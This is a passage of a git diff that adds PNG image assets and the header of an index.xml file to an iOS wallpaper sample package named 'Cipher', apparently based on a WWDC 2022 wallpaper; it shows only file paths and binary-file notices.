mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/dot dot 1.png differ diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/dot dot dot 1.png b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/dot dot dot 1.png new file mode 100644 index 0000000..7b183a2 Binary files /dev/null and b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/dot dot dot 1.png differ diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/dot dot dot.png b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/dot dot dot.png new file mode 100644 index 0000000..7b183a2 Binary files /dev/null and b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/dot dot dot.png differ diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/dot dot.png b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/dot dot.png new file mode 100644 index 0000000..af1265c Binary files /dev/null and b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/dot dot.png differ diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/dot.png b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/dot.png new file mode 100644 index 0000000..fcb2798 Binary files /dev/null and b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/dot.png differ diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/nowloading.png b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/nowloading.png new file mode 100644 index 0000000..1e6a0be Binary files /dev/null and b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/nowloading.png differ diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/png b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/png new file mode 100644 index 0000000..8936ec7 Binary files /dev/null and b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/png differ diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/png 1 b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/png 1 new file mode 100644 index 0000000..8936ec7 Binary files /dev/null and b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/png 1 differ diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/png 2 b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/png 2 new file mode 100644 index 0000000..444aa76 Binary files /dev/null and b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/png 2 differ diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/png 3 b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/png 3 new file mode 100644 index 0000000..8936ec7 Binary files /dev/null and b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/png 3 differ diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/png 4 b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/png 4 new file mode 100644 index 0000000..3e5a2bd Binary files /dev/null and b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/png 4 differ diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/png 5 b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/png 5 new file mode 100644 index 0000000..af6003c Binary files /dev/null and b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/png 5 differ diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/png 6 b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/png 6 new file mode 100644 index 0000000..3e5a2bd Binary files /dev/null and b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/png 6 differ diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/png 7 b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/png 7 new file mode 100644 index 0000000..444aa76 Binary files /dev/null and b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/png 7 differ diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/png 8 b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/png 8 new file mode 100644 index 0000000..8936ec7 Binary files /dev/null and b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/png 8 differ diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/png 9 b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/png 9 new file mode 100644 index 0000000..af6003c Binary files /dev/null and b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/png 9 differ diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/statstext1 1.png b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/statstext1 1.png new file mode 100644 index 0000000..de49681 Binary files /dev/null and b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/statstext1 1.png differ diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/statstext1.png b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/statstext1.png new file mode 100644 index 0000000..de49681 Binary files /dev/null and b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/statstext1.png differ diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/statstext2.png b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/statstext2.png new file mode 100644 index 0000000..4e2a7f6 Binary files /dev/null and b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/statstext2.png differ diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/statstext3.png b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/statstext3.png new file mode 100644 index 0000000..61381e2 Binary files /dev/null and b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/statstext3.png differ diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/statstext4.png b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/statstext4.png new file mode 100644 index 0000000..de49681 Binary files /dev/null and b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/statstext4.png differ diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/statstext5.png b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/statstext5.png new file mode 100644 index 0000000..8af533d Binary files /dev/null and b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/statstext5.png differ diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/styled arrow.png b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/styled arrow.png new file mode 100644 index 0000000..553695d Binary files /dev/null and b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/styled arrow.png differ diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/text3.png b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/text3.png new file mode 100644 index 0000000..9e72d50 Binary files /dev/null and b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/text3.png differ diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/text4.png b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/text4.png new file mode 100644 index 0000000..28a8a16 Binary files /dev/null and b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/text4.png differ diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/text5.png b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/text5.png new file mode 100644 index 0000000..dc99e05 Binary files /dev/null and b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/text5.png differ diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/text6.png b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/text6.png new file mode 100644 index 0000000..3b931d0 Binary files /dev/null and b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/text6.png differ diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/text7.png b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/text7.png new file mode 100644 index 0000000..a5b307b Binary files /dev/null and b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/text7.png differ diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/vector1 1.png b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/vector1 1.png new file mode 100644 index 0000000..e264dd8 Binary files /dev/null and b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/vector1 1.png differ diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/vector1.png b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/vector1.png new file mode 100644 index 0000000..e264dd8 Binary files /dev/null and b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/vector1.png differ diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/vector2.png b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/vector2.png new file mode 100644 index 0000000..da85322 Binary files /dev/null and b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/vector2.png differ diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/vector3.png b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/vector3.png new file mode 100644 index 0000000..d189753 Binary files /dev/null and b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/vector3.png differ diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/vector4.png b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/vector4.png new file mode 100644 index 0000000..cd6c56d Binary files /dev/null and b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/vector4.png differ diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/vector5.png b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/vector5.png new file mode 100644 index 0000000..2291bfb Binary files /dev/null and b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/vector5.png differ diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/index.xml b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/index.xml new file mode 100644 index 0000000..6cd310a --- /dev/null +++ b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/index.xml @@ -0,0 +1,48 @@ 